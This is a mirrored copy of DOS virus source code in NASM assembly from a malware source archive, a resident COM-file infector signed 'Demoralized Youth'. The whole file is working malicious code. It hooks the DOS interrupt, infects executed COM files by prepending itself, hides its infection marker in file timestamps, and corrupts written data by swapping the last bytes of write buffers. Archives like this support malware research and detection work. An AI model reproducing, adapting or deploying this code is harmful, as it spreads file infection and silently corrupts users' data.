mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-29 14:35:27 +00:00
325 lines
5.8 KiB
NASM
325 lines
5.8 KiB
NASM
_attr_ equ 0
|
||
_date_ equ 2
|
||
_time_ equ 4
|
||
|
||
fil equ 6
|
||
|
||
mov ax,4245h ;sepuku!
|
||
int 21h
|
||
jmp short jump1
|
||
db 'DY'
|
||
dy equ $-2-100h
|
||
|
||
_size dw offset total-100h
|
||
_ofs dw offset total
|
||
|
||
db 'McAfee, geht nach Hause! Wir sind un<75>berwindlich!'
|
||
|
||
jump1:
|
||
mov ax,3521h
|
||
int 21h
|
||
mov old21[0],bx
|
||
mov old21[2],es
|
||
|
||
mov ax,cs
|
||
dec ax
|
||
mov ds,ax
|
||
lodsb
|
||
cmp byte [0],'Z'
|
||
jne bee_bloop_blap
|
||
cmp word ptr [0003h],pgf
|
||
jc bee_bloop_blap
|
||
sub word ptr [0003h],pgf
|
||
sub word ptr [0012h],pgf
|
||
mov es,[0012h]
|
||
mov si,110h
|
||
mov di,si
|
||
sub di,10h
|
||
mov cx,total-100h
|
||
rep movsb
|
||
push es
|
||
pop ds
|
||
|
||
cli
|
||
mov ax,2521h
|
||
mov dx,offset swansich
|
||
int 21h
|
||
sti
|
||
|
||
jmp 100h
|
||
|
||
bee_bloop_blap:
|
||
int 24h
|
||
int 20h
|
||
|
||
st21 db 0
|
||
|
||
vier:
|
||
mov al,0
|
||
iret
|
||
|
||
swansich:
|
||
pushf
|
||
cmp ax,4245h
|
||
jne not_sepuku
|
||
cmp word [dy+100h],'YD'
|
||
jne not_sepuku
|
||
popf
|
||
push bp
|
||
mov bp,sp
|
||
mov ds,[bp+4]
|
||
pop bp
|
||
mov si,word _ofs
|
||
mov cx,word _size
|
||
mov di,100h
|
||
push ds
|
||
pop es
|
||
cld
|
||
bam: rep movsb
|
||
pop ax
|
||
mov ax,100h
|
||
push ax
|
||
call zero_regs
|
||
iret
|
||
|
||
olr dw 0,0
|
||
|
||
not_sepuku:
|
||
cmp ah,40h
|
||
jne exec
|
||
cmp bx,5
|
||
jb exec
|
||
|
||
cmp cx,16
|
||
jl exec
|
||
|
||
call push_all
|
||
mov di,dx
|
||
add di,cx
|
||
dec di
|
||
mov al,[di]
|
||
mov bl,[di-1]
|
||
mov [di-1],al
|
||
mov [di],bl
|
||
call pop_all
|
||
exec:
|
||
cmp ax,4B00h ;exec
|
||
jne back
|
||
|
||
cmp cs:st21,0
|
||
jne back
|
||
|
||
mov cs:st21,1
|
||
|
||
call push_all
|
||
xchg si,dx
|
||
mov di,fil
|
||
push cs
|
||
pop es
|
||
mov cx,128
|
||
cld
|
||
rep movsb
|
||
call pop_all
|
||
|
||
popf
|
||
|
||
call o21
|
||
|
||
pushf
|
||
call push_all
|
||
|
||
mov ax,3524h
|
||
call o21
|
||
push bx
|
||
push es
|
||
|
||
mov ah,25h
|
||
push ds
|
||
push cs
|
||
pop ds
|
||
push dx
|
||
mov dx,offset vier
|
||
call o21
|
||
pop dx
|
||
pop ds
|
||
|
||
push cs
|
||
pop ds
|
||
mov dx,fil
|
||
|
||
mov ax,4300h
|
||
call o21
|
||
mov cs:[_attr_],cx
|
||
mov ax,4301h
|
||
xor cx,cx
|
||
call o21
|
||
jc err1
|
||
|
||
call infect
|
||
|
||
mov ax,4301h
|
||
mov cx,cs:[_attr_]
|
||
call o21
|
||
|
||
err1: pop ds
|
||
pop dx
|
||
mov ax,2524h
|
||
call o21
|
||
|
||
mov cs:st21,0
|
||
|
||
call pop_all
|
||
popf
|
||
retf 2
|
||
|
||
|
||
back: mov cs:st21,0
|
||
popf
|
||
jfa: db 0EAh
|
||
old21 dw 0,0
|
||
|
||
o21: pushf
|
||
call dword ptr cs:[old21]
|
||
ret
|
||
|
||
zero_regs:
|
||
xor ax,ax
|
||
xor bx,bx
|
||
xor cx,cx
|
||
xor dx,dx
|
||
xor si,si
|
||
xor di,di
|
||
ret
|
||
|
||
jmp_to dw 0
|
||
|
||
push_all:
|
||
pop cs:[jmp_to]
|
||
push bp
|
||
push ds
|
||
push es
|
||
push di
|
||
push si
|
||
push dx
|
||
push cx
|
||
push bx
|
||
push ax
|
||
jmp cs:[jmp_to]
|
||
|
||
pop_all:
|
||
pop cs:[jmp_to]
|
||
pop ax
|
||
pop bx
|
||
pop cx
|
||
pop dx
|
||
pop si
|
||
pop di
|
||
pop es
|
||
pop ds
|
||
pop bp
|
||
jmp cs:[jmp_to]
|
||
|
||
|
||
|
||
;|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
||
; infection routine
|
||
;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||
infect:
|
||
pushf
|
||
call push_all
|
||
|
||
mov ax,3D02h
|
||
call o21
|
||
jnc open
|
||
|
||
i_back:
|
||
call pop_all
|
||
popf
|
||
ret
|
||
|
||
open:
|
||
xchg bx,ax
|
||
|
||
push cs
|
||
pop ds
|
||
push cs
|
||
pop es
|
||
|
||
mov ax,5700h
|
||
call o21
|
||
mov [_date_],dx
|
||
mov [_time_],cx
|
||
|
||
mov ah,3Fh
|
||
mov cx,offset total-100h
|
||
mov dx,offset total
|
||
call o21
|
||
jnc read1
|
||
jcls1: jmp close
|
||
|
||
read1: cmp ax,cx
|
||
jne jcls1
|
||
|
||
cmp word ptr [offset total],'ZM'
|
||
je jcls1
|
||
cmp byte ptr [offset total],'Z'
|
||
je jcls1
|
||
|
||
cmp word ptr [offset total+dy],'YD'
|
||
je jcls1
|
||
|
||
mov ax,4202h
|
||
xor cx,cx
|
||
xor dx,dx
|
||
call o21
|
||
jc jcls1
|
||
|
||
cmp dx,0
|
||
jne jcls1
|
||
cmp ah,0F1h
|
||
ja jcls1
|
||
|
||
add ax,100h
|
||
mov _ofs,ax
|
||
|
||
mov ah,40h
|
||
mov dx,offset total
|
||
mov cx,offset total-100h
|
||
call o21
|
||
|
||
jc jcls1
|
||
cmp ax,cx
|
||
jne jcls1
|
||
|
||
mov ax,4200h
|
||
xor cx,cx
|
||
xor dx,dx
|
||
call o21
|
||
|
||
mov ah,40h
|
||
mov cx,offset total-100h
|
||
mov dx,100h
|
||
call o21
|
||
|
||
and byte [_time_],255-31
|
||
or byte [_time_],29
|
||
close:
|
||
mov ax,5701h
|
||
mov cx,[_time_]
|
||
mov dx,[_date_]
|
||
call o21
|
||
|
||
mov ah,3Eh
|
||
call o21
|
||
jcls2: jmp i_back
|
||
|
||
db 'Demoralized Youth vous a eu'
|
||
|
||
total:
|
||
pgf equ $/16*2
|
||
db 'Í '
|
||
|
||
|
||
|
||
|
||
|